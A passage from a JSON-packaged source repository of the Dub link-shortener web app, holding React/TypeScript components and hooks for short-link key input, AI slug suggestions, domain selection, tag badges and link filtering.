const key = await res.json();\n      onChange?.({ key });\n      setGeneratingRandomKey(false);\n    };\n\n    const [isFocused, setIsFocused] = useState(false);\n\n    useEffect(() => {\n      // generate a random key if:\n      // - there is a domain\n      // - there is no key\n      // - the input is not focused\n      if (domain && !key && !isFocused) {\n        generateRandomKey();\n      }\n    }, [domain, key, isFocused]);\n\n    const runKeyChecks = async (value: string) => {\n      const res = await fetch(\n        `/api/links/exists?domain=${domain}&key=${value}&workspaceId=${workspaceId}`,\n      );\n      const { error } = await res.json();\n      if (error) {\n        setKeyError(error.message);\n      } else {\n        setKeyError(null);\n      }\n    };\n\n    const [debouncedKey] = useDebounce(key, 500);\n\n    useEffect(() => {\n      // only run key checks if:\n      // - there is a key\n      // - there is a workspace\n      // - it's not an existing link\n      if (debouncedKey && workspaceId && !existingLink) {\n        runKeyChecks(debouncedKey);\n      }\n    }, [debouncedKey, workspaceId, existingLink]);\n\n    const [generatedKeys, setGeneratedKeys] = useState<string[]>(\n      existingLink && key ? [key] : [],\n    );\n\n    const {\n      completion,\n      isLoading: generatingAIKey,\n      complete,\n    } = useCompletion({\n      api: `/api/ai/completion?workspaceId=${workspaceId}`,\n      streamProtocol: \"text\",\n      onError: (error) => {\n        if (error.message.includes(\"Upgrade to Pro\")) {\n          toast.custom(() => (\n            <UpgradeRequiredToast\n              title=\"You've exceeded your AI usage limit\"\n              message={error.message}\n            />\n          ));\n        } else {\n          toast.error(error.message);\n        }\n      },\n      onFinish: (_, completion) => {\n        setGeneratedKeys((prev) => [...prev, completion]);\n        mutateWorkspace();\n      },\n    });\n\n    useEffect(() => {\n      if (completion) onChange?.({ key: completion });\n    }, [completion]);\n\n    const generateAIKey = useCallback(async () => {\n      setKeyError(null);\n      complete(\n        `For the following URL, suggest a relevant short link slug that is at most ${Math.max(25 - (domain?.length || 0), 12)} characters long. \n                  \n            - URL: ${data.url}\n            - Meta title: ${data.title}\n            - Meta description: ${data.description}. \n    \n          Only respond with the short link slug and nothing else. Don't use quotation marks or special characters (dash and slash are allowed).\n          \n          Make sure your answer does not exist in this list of generated slugs: ${generatedKeys.join(\", \")}`,\n      );\n    }, [data.url, data.title, data.description, generatedKeys]);\n\n    const shortLink = useMemo(() => {\n      return linkConstructor({\n        key,\n        domain: domain,\n        pretty: true,\n      });\n    }, [key, domain]);\n\n    return (\n      <div>\n        <div className=\"flex items-center justify-between\">\n          <label\n            htmlFor={inputId}\n            className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n          >\n            Short Link\n            {existingLinkProps?.disabledAt && <DisabledLinkTooltip />}\n          </label>\n          {lockKey ? (\n            <button\n              className=\"flex h-6 items-center space-x-2 text-sm text-neutral-500 transition-all duration-75 hover:text-black active:scale-95\"\n              type=\"button\"\n              onClick={() => {\n                window.confirm(\n                  \"Editing an existing short link could potentially break existing links. Are you sure you want to continue?\",\n                ) && setLockKey(false);\n              }}\n            >\n              <PenWriting className=\"size-3.5\" />\n            </button>\n          ) : (\n            <div className=\"flex items-center gap-1\">\n              <ButtonTooltip\n                tabIndex={-1}\n                tooltipProps={{\n                  content: \"Generate a random key\",\n                }}\n                onClick={generateRandomKey}\n                disabled={generatingRandomKey || generatingAIKey}\n              >\n                {generatingRandomKey ? (\n                  <LoadingCircle />\n                ) : (\n                  <Random className=\"h-3 w-3\" />\n                )}\n              </ButtonTooltip>\n              <ButtonTooltip\n                tabIndex={-1}\n                tooltipProps={{\n                  content: exceededAI\n                    ? \"You've exceeded your AI usage limit.\"\n                    : !data.url\n                      ? \"Enter a URL to generate a key using AI.\"\n                      : \"Generate a key using AI.\",\n                }}\n                onClick={generateAIKey}\n                disabled={\n                  generatingRandomKey ||\n                  generatingAIKey ||\n                  exceededAI ||\n                  !data.url\n                }\n              >\n                {generatingAIKey ? (\n                  <LoadingCircle />\n                ) : (\n                  <Magic className=\"h-4 w-4\" />\n                )}\n              </ButtonTooltip>\n            </div>\n          )}\n        </div>\n        <div className=\"relative mt-1 flex rounded-md shadow-sm\">\n          <div className=\"z-[1]\">\n            <DomainCombobox\n              domain={domain}\n              setDomain={(domain) => {\n                setKeyError(null);\n                onChange?.({ domain });\n              }}\n              loading={loading}\n            />\n          </div>\n          <input\n            ref={ref}\n            type=\"text\"\n            name=\"key\"\n            id={inputId}\n            // allow letters, numbers, '-', '_', '/', '.', and emojis\n            pattern=\"[\\p{L}\\p{N}\\p{Pd}\\/\\p{Emoji}_.]+\"\n            onInvalid={(e) => {\n              e.currentTarget.setCustomValidity(\n                \"Only letters, numbers, '-', '_', '/', and emojis are allowed.\",\n              );\n            }}\n            onFocus={() => setIsFocused(true)}\n            onBlur={() => setIsFocused(false)}\n            disabled={lockKey}\n            autoComplete=\"off\"\n            autoCapitalize=\"none\"\n            className={cn(\n              \"block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n              \"z-0 focus:z-[1]\",\n              {\n                \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\":\n                  error,\n                \"border-amber-300 pr-10 text-amber-900 placeholder-amber-300 focus:border-amber-500 focus:ring-amber-500\":\n                  shortLink.length > 25,\n                \"cursor-not-allowed border border-neutral-300 bg-neutral-100 text-neutral-500\":\n                  lockKey,\n              },\n            )}\n            placeholder=\"(optional)\"\n            aria-invalid=\"true\"\n            aria-describedby=\"key-error\"\n            value={punycode(key)}\n            onChange={(e) => {\n              setKeyError(null);\n              e.currentTarget.setCustomValidity(\"\");\n              onChange?.({ key: e.target.value });\n            }}\n            {...inputProps}\n          />\n          {(error || shortLink.length > 25) && (\n            <Tooltip\n              content={\n                error || (\n                  <div className=\"flex max-w-xs items-start space-x-2 bg-white p-4\">\n                    <TriangleAlert className=\"mt-0.5 h-4 w-4 flex-none text-amber-500\" />\n                    <div>\n                      <p className=\"text-sm text-neutral-700\">\n                        Short links longer than 25 characters will show up\n                        differently on some platforms.\n                      </p>\n                      <div className=\"mt-2 flex items-center space-x-2\">\n                        <LinkedIn className=\"h-4 w-4\" />\n                        <p className=\"cursor-pointer text-sm font-semibold text-[#4783cf] hover:underline\">\n                          {linkConstructor({\n                            domain: \"lnkd.in\",\n                            key: randomLinkedInNonce,\n                            pretty: true,\n                          })}\n                        </p>\n                      </div>\n                      {shortLink.length > 25 && (\n                        <div className=\"mt-1 flex items-center space-x-2\">\n                          <Twitter className=\"h-4 w-4\" />\n                          <p className=\"cursor-pointer text-sm text-[#34a2f1] hover:underline\">\n                            {truncate(shortLink, 25)}\n                          </p>\n                        </div>\n                      )}\n                    </div>\n                  </div>\n                )\n              }\n            >\n              <div className=\"absolute inset-y-0 right-0 flex items-center pr-3\">\n                {error ? (\n                  <AlertCircleFill\n                    className=\"h-5 w-5 text-red-500\"\n                    aria-hidden=\"true\"\n                  />\n                ) : shortLink.length > 25 ? (\n                  <AlertCircleFill className=\"h-5 w-5 text-amber-500\" />\n                ) : null}\n              </div>\n            </Tooltip>\n          )}\n        </div>\n        {error ? (\n          error.includes(\"Upgrade to\") ? (\n            <p className=\"mt-2 text-sm text-red-600\" id=\"key-error\">\n              {error.split(`Upgrade to ${nextPlan.name}`)[0]}\n              <a\n                className=\"cursor-pointer underline\"\n                href={`/${slug}/upgrade`}\n                target=\"_blank\"\n              >\n                Upgrade to {nextPlan.name}\n              </a>\n              {error.split(`Upgrade to ${nextPlan.name}`)[1]}\n            </p>\n          ) : (\n            <p className=\"mt-2 text-sm text-red-600\" id=\"key-error\">\n              {error}\n            </p>\n          )\n        ) : (\n          <DefaultDomainPrompt\n            domain={domain}\n            url={data.url}\n            onChange={(domain) => onChange({ domain })}\n          />\n        )}\n        {!onboarding && !dotLinkClaimed && (\n          <AnimatedSizeContainer\n            height\n            transition={{ ease: \"linear\", duration: 0.1 }}\n            className=\"mt-2\"\n          >\n            <FreeDotLinkBanner />\n          </AnimatedSizeContainer>\n        )}\n      </div>\n    );\n  },\n);\n\nfunction DefaultDomainPrompt({\n  domain,\n  url,\n  onChange,\n}: {\n  domain?: string;\n  url?: string;\n  onChange: (domain: string) => void;\n}) {\n  if (!url || !domain) return null;\n\n  const urlDomain = getDomainWithoutWWW(url);\n  const apexDomain = getApexDomain(url);\n  const hostnameFor = DUB_DOMAINS.find((domain) => {\n    if (domain?.allowedHostnames) {\n      return (\n        (urlDomain && domain.allowedHostnames.includes(urlDomain)) ||\n        domain.allowedHostnames.includes(apexDomain)\n      );\n    }\n    return false;\n  });\n  const domainSlug = hostnameFor?.slug;\n\n  if (!domainSlug || domain === domainSlug) return null;\n\n  return (\n    <button\n      className=\"flex items-center gap-1 p-2 text-xs text-neutral-500 transition-all duration-75 hover:text-neutral-700 active:scale-[0.98]\"\n      onClick={() => onChange(domainSlug)}\n      type=\"button\"\n    >\n      <ArrowTurnRight2 className=\"size-3.5\" />\n      <p>\n        Use <strong className=\"font-semibold\">{domainSlug}</strong> domain\n        instead?\n      </p>\n    </button>\n  );\n}\n\nfunction DomainCombobox({\n  domain,\n  setDomain,\n  loading,\n}: {\n  domain?: string;\n  setDomain: (domain: string) => void;\n  loading: boolean;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  // Whether to fetch search results from the backend\n  const [useAsync, setUseAsync] = useState(false);\n\n  const {\n    domains,\n    allWorkspaceDomains,\n    activeWorkspaceDomains,\n    loading: loadingDomains,\n  } = useAvailableDomains({\n    search: useAsync ? debouncedSearch : undefined,\n  });\n\n  useEffect(() => {\n    if (\n      allWorkspaceDomains &&\n      !useAsync &&\n      allWorkspaceDomains.length >= DOMAINS_MAX_PAGE_SIZE\n    )\n      setUseAsync(true);\n  }, [allWorkspaceDomains, useAsync]);\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { link } = useParams() as { link: string | string[] };\n  const pathname = usePathname();\n  useKeyboardShortcut(\"d\", () => setIsOpen(true), {\n    // We're in a modal if this isn't a link page and isn't onboarding\n    modal: !link && !pathname.startsWith(\"/onboarding\"),\n  });\n\n  const options = useMemo(\n    () =>\n      loadingDomains\n        ? undefined\n        : domains?.reduce<\n            Array<{ value: string; label: string; separatorAfter?: boolean }>\n          >((acc, { slug }, idx) => {\n            acc.push({\n              value: slug,\n              label: punycode(slug),\n              separatorAfter:\n                activeWorkspaceDomains?.some((d) => d.slug === slug) &&\n                idx === activeWorkspaceDomains.length - 1,\n            });\n            return acc;\n          }, []),\n    [loadingDomains, domains, activeWorkspaceDomains],\n  );\n\n  return (\n    <Combobox\n      selected={\n        domain && !loading\n          ? {\n              value: domain,\n              label: punycode(domain),\n            }\n          : null\n      }\n      setSelected={(option) => {\n        if (!option) return;\n        setDomain(option.value);\n      }}\n      options={options}\n      caret={true}\n      placeholder={\n        <div className=\"h-4 w-3/4 animate-pulse rounded bg-neutral-200\" />\n      }\n      searchPlaceholder=\"Search domains...\"\n      shortcutHint=\"D\"\n      buttonProps={{\n        className: cn(\n          \"w-32 sm:w-40 h-full rounded-r-none border-r-transparent justify-start px-2.5\",\n          \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n          \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n        ),\n      }}\n      optionClassName=\"sm:max-w-[225px]\"\n      shouldFilter={!useAsync}\n      open={isOpen}\n      onOpenChange={setIsOpen}\n      onSearchChange={setSearch}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/simple-link-card.tsx",
    "content": "import { LinkProps } from \"@/lib/types\";\nimport { ArrowTurnRight2, LinkLogo } from \"@dub/ui\";\nimport { getApexDomain, getPrettyUrl } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src\";\n\nexport function SimpleLinkCard({\n  link,\n  className,\n}: {\n  link: Pick<LinkProps, \"shortLink\" | \"url\">;\n  className?: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"flex items-center gap-3 rounded-xl border border-neutral-200 bg-white px-4 py-3.5\",\n        className,\n      )}\n    >\n      <div className=\"relative flex-none rounded-full border border-neutral-200 bg-gradient-to-t from-neutral-100 sm:p-1.5\">\n        <LinkLogo\n          apexDomain={getApexDomain(link.url)}\n          className=\"size-4 shrink-0 sm:size-5\"\n        />\n      </div>\n      <div className=\"flex min-w-0 flex-col text-sm leading-tight\">\n        <span className=\"truncate text-sm font-semibold text-neutral-800\">\n          {getPrettyUrl(link.shortLink)}\n        </span>\n        <div className=\"flex items-center gap-1\">\n          <ArrowTurnRight2 className=\"h-3 w-3 shrink-0 text-neutral-400\" />\n          {link.url ? (\n            <span title={link.url} className=\"truncate text-neutral-500\">\n              {getPrettyUrl(link.url)}\n            </span>\n          ) : (\n            <span className=\"truncate text-neutral-400\">No URL configured</span>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/tag-badge.tsx",
    "content": "import { ResourceColorsEnum } from \"@/lib/types\";\nimport { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { useMediaQuery } from \"@dub/ui\";\nimport { cn, randomValue, truncate } from \"@dub/utils\";\nimport { Tag } from \"lucide-react\";\n\nexport default function TagBadge({\n  name,\n  color,\n  withIcon,\n  plus,\n  className,\n}: {\n  name?: string;\n  color: ResourceColorsEnum;\n  withIcon?: boolean;\n  plus?: number;\n  className?: string;\n}) {\n  const { isDesktop } = useMediaQuery();\n\n  return (\n    <span\n      className={cn(\n        \"my-auto block whitespace-nowrap rounded-md border px-2 py-0.5 text-sm\",\n        (withIcon || plus) &&\n          \"flex items-center gap-x-1.5 p-1.5 sm:rounded-md sm:px-2 sm:py-0.5\",\n        color === \"red\" && \"border-red-300 bg-red-100 text-red-600\",\n        color === \"yellow\" && \"border-yellow-300 bg-yellow-100 text-yellow-600\",\n        color === \"green\" && \"border-green-300 bg-green-100 text-green-600\",\n        color === \"blue\" && \"border-blue-300 bg-blue-100 text-blue-600\",\n        color === \"purple\" && \"border-purple-300 bg-purple-100 text-purple-600\",\n        color === \"brown\" && \"border-brown-300 bg-brown-100 text-brown-600\",\n        className,\n      )}\n    >\n      {withIcon && <Tag className=\"h-3 w-3 shrink-0\" />}\n      {name && (\n        <p {...(withIcon && { className: \"hidden sm:inline-block\" })}>\n          {truncate(name || \"\", !isDesktop ? 20 : 24)}\n        </p>\n      )}\n      {!!plus && (\n        <span className=\"hidden sm:block\">\n          <span className=\"pr-1.5 opacity-30 md:pl-1 md:pr-2.5\">|</span>+{plus}\n        </span>\n      )}\n    </span>\n  );\n}\n\nexport function randomBadgeColor() {\n  return randomValue(RESOURCE_COLORS);\n}\n"
  },
  {
    "path": "apps/web/ui/links/tests-badge.tsx",
    "content": "\"use client\";\n\nimport { Flask } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport * as HoverCard from \"@radix-ui/react-hover-card\";\nimport { useLinkCardContext } from \"./link-card\";\nimport { ResponseLink } from \"./links-container\";\n\nexport function TestsBadge({\n  link,\n}: {\n  link: Pick<ResponseLink, \"testVariants\" | \"testCompletedAt\">;\n}) {\n  const { showTests, setShowTests } = useLinkCardContext();\n\n  return (\n    <div className=\"hidden sm:block\">\n      <HoverCard.Root openDelay={100}>\n        <HoverCard.Portal>\n          <HoverCard.Content\n            side=\"bottom\"\n            sideOffset={8}\n            className=\"animate-slide-up-fade z-[99] items-center overflow-hidden rounded-xl border border-neutral-200 bg-white p-2 text-sm text-neutral-700 shadow-sm\"\n          >\n            A/B tests\n          </HoverCard.Content>\n        </HoverCard.Portal>\n        <HoverCard.Trigger>\n          <button\n            type=\"button\"\n            className={cn(\n              \"rounded-md p-1.5 text-neutral-800 transition-colors duration-100 hover:bg-blue-50 hover:text-blue-500 active:bg-blue-100\",\n              showTests ? \"text-blue-500\" : \"text-neutral-800\",\n            )}\n            aria-pressed={showTests}\n            onClick={() => setShowTests((s) => !s)}\n          >\n            <Flask className=\"size-3.5\" />\n          </button>\n        </HoverCard.Trigger>\n      </HoverCard.Root>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/use-available-domains.ts",
    "content": "import useDomains from \"@/lib/swr/use-domains\";\nimport { DUB_DOMAINS, SHORT_DOMAIN } from \"@dub/utils\";\nimport { useMemo } from \"react\";\n\n// Sort domains alphabetically, with a specific domain prioritized\nconst sortDomains = (domains: any[], prioritySlug?: string) => {\n  return domains.sort((a, b) => {\n    if (prioritySlug) {\n      if (a.slug === prioritySlug && b.slug !== prioritySlug) return -1;\n      if (a.slug !== prioritySlug && b.slug === prioritySlug) return 1;\n    }\n    // Sort by primary status first, then alphabetically\n    if (a.primary && !b.primary) return -1;\n    if (!a.primary && b.primary) return 1;\n    return a.slug.localeCompare(b.slug);\n  });\n};\n\n/**\n * @param {string} [options.currentDomain] The current domain of a link being updated (useful when the link's current domain has been archived)\n * @param {boolean} [options.onboarding] Whether the user is on the onboarding page (we can assume the user doesn't have any custom domains yet, so just show the Dub default domains)\n * @returns {Array} An array of available domains for creating or updating a link.\n */\nexport function useAvailableDomains(\n  options: {\n    currentDomain?: string;\n    onboarding?: boolean;\n    search?: string;\n  } = {},\n) {\n  const { currentDomain } = options;\n\n  const {\n    activeWorkspaceDomains,\n    activeDefaultDomains,\n    allDomains,\n    allWorkspaceDomains,\n    loading,\n    primaryDomain,\n  } = useDomains({\n    ignoreParams: true,\n    opts: options.search ? { search: options.search } : undefined,\n  });\n\n  const domains = useMemo(() => {\n    // Case 1: Onboarding - only show non-archived Dub domains\n    if (options.onboarding) {\n      return DUB_DOMAINS.filter((d) => !d.archived);\n    }\n\n    // Case 2: Current domain exists but is not in active domains\n    if (\n      currentDomain &&\n      !activeWorkspaceDomains?.find(({ slug }) => slug === currentDomain) &&\n      !activeDefaultDomains.find(({ slug }) => slug === currentDomain)\n    ) {\n      // If the current domain is not in active domains, try to find it in all domains\n      const domain = allDomains.find(({ slug }) => slug === currentDomain);\n      if (!domain) {\n        // If domain not found at all, return all active domains\n        return [\n          ...sortDomains(activeWorkspaceDomains || []),\n          ...sortDomains(activeDefaultDomains, \"dub.link\"),\n        ];\n      }\n\n      // If domain is found, add it to the appropriate section\n      const isDefaultDomain = activeDefaultDomains.some(\n        ({ id }) => id === domain.id,\n      );\n      return [\n        ...sortDomains(activeWorkspaceDomains || []),\n        ...(isDefaultDomain ? [] : [domain]),\n        ...sortDomains(activeDefaultDomains, \"dub.link\"),\n        ...(isDefaultDomain ? [domain] : []),\n      ];\n    }\n\n    // Default case: return active workspace domains first, then active default domains\n    return [\n      // Workspace domains first, sorted by primary status then alphabetically\n      ...sortDomains(activeWorkspaceDomains || []).map((domain) => ({\n        ...domain,\n        isWorkspaceDomain: true,\n      })),\n      // Default domains next, with dub.link first, then alphabetically\n      ...sortDomains(activeDefaultDomains, \"dub.link\").map((domain) => ({\n        ...domain,\n        isWorkspaceDomain: false,\n      })),\n    ];\n  }, [\n    options.onboarding,\n    currentDomain,\n    allDomains,\n    activeWorkspaceDomains,\n    activeDefaultDomains,\n  ]);\n\n  return {\n    domains,\n    allWorkspaceDomains,\n    activeWorkspaceDomains,\n    loading: options.onboarding ? false : loading,\n    primaryDomain: options.onboarding ? SHORT_DOMAIN : primaryDomain,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/links/use-folder-filter-options.ts",
    "content": "import useFolders from \"@/lib/swr/use-folders\";\nimport useFoldersCount from \"@/lib/swr/use-folders-count\";\nimport useLinksCount from \"@/lib/swr/use-links-count\";\nimport { FolderLinkCount } from \"@/lib/types\";\nimport { FOLDERS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/folders\";\nimport { useMemo } from \"react\";\n\nexport function useFolderFilterOptions({ search }: { search: string }) {\n  const { data: foldersCount } = useFoldersCount();\n  const foldersAsync = Boolean(\n    foldersCount && foldersCount > FOLDERS_MAX_PAGE_SIZE,\n  );\n  const { folders, loading: loadingFolders } = useFolders({\n    query: { search: foldersAsync ? search : \"\" },\n  });\n\n  const { data: folderLinksCount } = useLinksCount<FolderLinkCount[]>({\n    query: {\n      groupBy: \"folderId\",\n    },\n  });\n\n  const foldersResult = useMemo(() => {\n    return (\n      (loadingFolders ||\n        [...(folders ?? [])]\n          .map((folder) => ({\n            ...folder,\n            count:\n              folderLinksCount?.find(\n                ({ folderId }) =>\n                  folderId === folder.id ||\n                  (folder.id === \"unsorted\" && folderId === null),\n              )?._count || 0,\n          }))\n          .sort((a, b) => b.count - a.count)) ??\n      null\n    );\n  }, [loadingFolders, folders, folderLinksCount]);\n\n  return { folders: foldersResult, foldersAsync };\n}\n"
  },
  {
    "path": "apps/web/ui/links/use-link-filters.tsx",
    "content": "import useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useLinksCount from \"@/lib/swr/use-links-count\";\nimport useTags from \"@/lib/swr/use-tags\";\nimport useTagsCount from \"@/lib/swr/use-tags-count\";\nimport useWorkspaceUsers from \"@/lib/swr/use-workspace-users\";\nimport { TagProps } from \"@/lib/types\";\nimport { TAGS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/tags\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { BlurImage, Globe, Tag, User, useRouterStuff } from \"@dub/ui\";\nimport { GOOGLE_FAVICON_URL, nFormatter } from \"@dub/utils\";\nimport { useContext, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport { LinksDisplayContext } from \"./links-display-provider\";\nimport TagBadge from \"./tag-badge\";\n\nexport function useLinkFilters() {\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n  const { folderId } = useCurrentFolderId();\n\n  const { tags, tagsAsync } = useTagFilterOptions({\n    search: selectedFilter === \"tagIds\" ? debouncedSearch : \"\",\n    folderId: folderId ?? \"\",\n  });\n\n  const domains = useDomainFilterOptions({\n    folderId: folderId ?? \"\",\n  });\n\n  const users = useUserFilterOptions({\n    folderId: folderId ?? \"\",\n  });\n\n  const { queryParams, searchParamsObj } = useRouterStuff();\n\n  const filters = useMemo(() => {\n    return [\n      {\n        key: \"tagIds\",\n        icon: Tag,\n        label: \"Tag\",\n        multiple: true,\n        hideOperator: true,\n        shouldFilter: !tagsAsync,\n        getOptionIcon: (value, props) => {\n          const tagColor =\n            props.option?.data?.color ??\n            tags?.find(({ id }) => id === value)?.color;\n          return tagColor ? (\n            <TagBadge color={tagColor} withIcon className=\"sm:p-1\" />\n          ) : null;\n        },\n        getOptionLabel: (value, props) => {\n          if (props.option?.label) return props.option.label;\n          const tag = tags?.find(({ id }) => id === value);\n          return tag?.name ?? value;\n        },\n        options:\n          tags?.map(({ id, name, color, count, hideDuringSearch }) => ({\n            value: id,\n            icon: <TagBadge color={color} withIcon className=\"sm:p-1\" />,\n            label: name,\n            data: { color },\n            right: nFormatter(count, { full: true }),\n            hideDuringSearch,\n          })) ?? null,\n      },\n      {\n        key: \"domain\",\n        icon: Globe,\n        label: \"Domain\",\n        getOptionIcon: (value) => (\n          <BlurImage\n            src={`${GOOGLE_FAVICON_URL}${value}`}\n            alt={value}\n            className=\"h-4 w-4 rounded-full\"\n            width={16}\n            height={16}\n          />\n        ),\n        options: domains.map(({ slug, count }) => ({\n          value: slug,\n          label: slug,\n          right: nFormatter(count, { full: true }),\n        })),\n      },\n      {\n        key: \"userId\",\n        icon: User,\n        label: \"Creator\",\n        options:\n          users?.map(({ id, name, image, count }) => ({\n            value: id,\n            label: name,\n            icon: (\n              <UserAvatar\n                user={{\n                  id,\n                  name,\n                  image,\n                }}\n                className=\"h-4 w-4\"\n              />\n            ),\n            right: nFormatter(count, { full: true }),\n          })) ?? null,\n      },\n    ];\n  }, [domains, tags, users]);\n\n  const selectedTagIds = useMemo(\n    () => searchParamsObj[\"tagIds\"]?.split(\",\")?.filter(Boolean) ?? [],\n    [searchParamsObj],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { domain, tagIds, userId } = searchParamsObj;\n    return [\n      ...(domain ? [{ key: \"domain\", value: domain }] : []),\n      ...(tagIds ? [{ key: \"tagIds\", values: selectedTagIds }] : []),\n      ...(userId ? [{ key: \"userId\", value: userId }] : []),\n    ];\n  }, [searchParamsObj, selectedTagIds]);\n\n  const onSelect = (key: string, value: any) => {\n    if (key === \"tagIds\") {\n      queryParams({\n        set: {\n          tagIds: selectedTagIds.concat(value).join(\",\"),\n        },\n        del: \"page\",\n      });\n    } else {\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      });\n    }\n  };\n\n  const onRemove = (key: string, value: any) => {\n    if (\n      key === \"tagIds\" &&\n      !(selectedTagIds.length === 1 && selectedTagIds[0] === value)\n    ) {\n      queryParams({\n        set: {\n          tagIds: selectedTagIds.filter((id) => id !== value).join(\",\"),\n        },\n        del: \"page\",\n      });\n    } else {\n      queryParams({\n        del: [key, \"page\"],\n      });\n    }\n  };\n\n  const onRemoveFilter = (key: string) => {\n    queryParams({\n      del: [key, \"page\"],\n    });\n  };\n\n  const onRemoveAll = () => {\n    queryParams({\n      del: [\"domain\", \"tagIds\", \"userId\", \"search\"],\n    });\n  };\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveFilter,\n    onRemoveAll,\n    setSearch,\n    setSelectedFilter,\n  };\n}\n\nfunction useTagFilterOptions({\n  search,\n  folderId,\n}: {\n  search: string;\n  folderId: string;\n}) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const tagIds = useMemo(\n    () => searchParamsObj.tagIds?.split(\",\")?.filter(Boolean) ?? [],\n    [searchParamsObj.tagIds],\n  );\n\n  const { data: tagsCount } = useTagsCount();\n  const tagsAsync = Boolean(tagsCount && tagsCount > TAGS_MAX_PAGE_SIZE);\n  const { tags, loading: loadingTags } = useTags({\n    query: { search: tagsAsync ? search : \"\" },\n  });\n\n  const { tags: selectedTags } = useTags({\n    query: { ids: tagIds },\n    enabled: tagsAsync,\n  });\n  const { showArchived } = useContext(LinksDisplayContext);\n\n  const { data: tagLinksCount } = useLinksCount<\n    {\n      tagId: string;\n      _count: number;\n    }[]\n  >({ query: { groupBy: \"tagId\", showArchived, folderId } });\n\n  const tagsResult = useMemo(() => {\n    return loadingTags ||\n      // Consider tags loading if we can't find the currently filtered tag\n      (tagIds?.length &&\n        tagIds.some(\n          (id) =>\n            ![...(selectedTags ?? []), ...(tags ?? [])].some(\n              (t) => t.id === id,\n            ),\n        ))\n      ? null\n      : (\n          [\n            ...(tags ?? []),\n            // Add selected tag to list if not already in tags\n            ...(selectedTags\n              ?.filter((st) => !tags?.some((t) => t.id === st.id))\n              ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n          ] as (TagProps & { hideDuringSearch?: boolean })[]\n        )\n          ?.map((tag) => ({\n            ...tag,\n            count:\n              tagLinksCount?.find(({ tagId }) => tagId === tag.id)?._count || 0,\n          }))\n          .sort((a, b) => b.count - a.count) ?? null;\n  }, [loadingTags, tags, selectedTags, tagLinksCount, tagIds]);\n\n  return { tags: tagsResult, tagsAsync };\n}\n\nfunction useDomainFilterOptions({ folderId }: { folderId: string }) {\n  const { showArchived } = useContext(LinksDisplayContext);\n\n  const { data: domainsCount } = useLinksCount<\n    {\n      domain: string;\n      _count: number;\n    }[]\n  >({\n    query: {\n      groupBy: \"domain\",\n      showArchived,\n      folderId,\n    },\n  });\n\n  return useMemo(() => {\n    if (!domainsCount || domainsCount.length === 0) return [];\n\n    return domainsCount\n      .map(({ domain, _count }) => ({\n        slug: domain,\n        count: _count,\n      }))\n      .sort((a, b) => b.count - a.count);\n  }, [domainsCount]);\n}\n\nfunction useUserFilterOptions({ folderId }: { folderId: string }) {\n  const { users } = useWorkspaceUsers();\n  const { showArchived } = useContext(LinksDisplayContext);\n\n  const { data: usersCount } = useLinksCount<\n    {\n      userId: string;\n      _count: number;\n    }[]\n  >({\n    query: {\n      groupBy: \"userId\",\n      showArchived,\n      folderId,\n    },\n  });\n\n  return useMemo(\n    () =>\n      users\n        ? users\n            .map((user) => ({\n              ...user,\n              count:\n                usersCount?.find(({ userId }) => userId === user.id)?._count ||\n                0,\n            }))\n            .sort((a, b) => b.count - a.count)\n        : null,\n    [users, usersCount],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/messages/message-markdown.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport ReactMarkdown from \"react-markdown\";\nimport \"react-medium-image-zoom/dist/styles.css\";\nimport remarkGfm from \"remark-gfm\";\nimport { ZoomImage } from \"../shared/zoom-image\";\n\nexport function MessageMarkdown({\n  children,\n  components,\n  invert = false,\n}: {\n  children: string;\n  components?: any;\n  invert?: boolean;\n}) {\n  return (\n    <ReactMarkdown\n      className={cn(\n        \"prose prose-sm prose-neutral max-w-none transition-all\",\n        \"prose-headings:font-semibold prose-headings:border-b prose-headings:pb-2\",\n        \"prose-h1:text-2xl prose-h1:font-bold prose-h1:mt-8 prose-h1:mb-4\",\n        \"prose-h2:text-xl prose-h2:font-semibold prose-h2:mt-6 prose-h2:mb-3\",\n        \"prose-h3:text-lg prose-h3:font-semibold prose-h3:mt-4 prose-h3:mb-2\",\n        \"prose-h4:text-base prose-h4:font-semibold prose-h4:mt-3 prose-h4:mb-1\",\n        \"prose-p:leading-5 prose-p:mb-4 prose-p:m-2.5\",\n        \"prose-a:font-medium prose-a:underline prose-a:underline-offset-2\",\n        \"prose-strong:font-semibold\",\n        \"prose-em:italic\",\n        \"prose-code:px-1 prose-code:py-0.5 prose-code:rounded prose-code:text-xs prose-code:font-mono\",\n        \"prose-pre:border prose-pre:rounded-lg prose-pre:pr-9 prose-pre:pl-3 prose-pre:py-3 prose-pre:overflow-x-auto\",\n        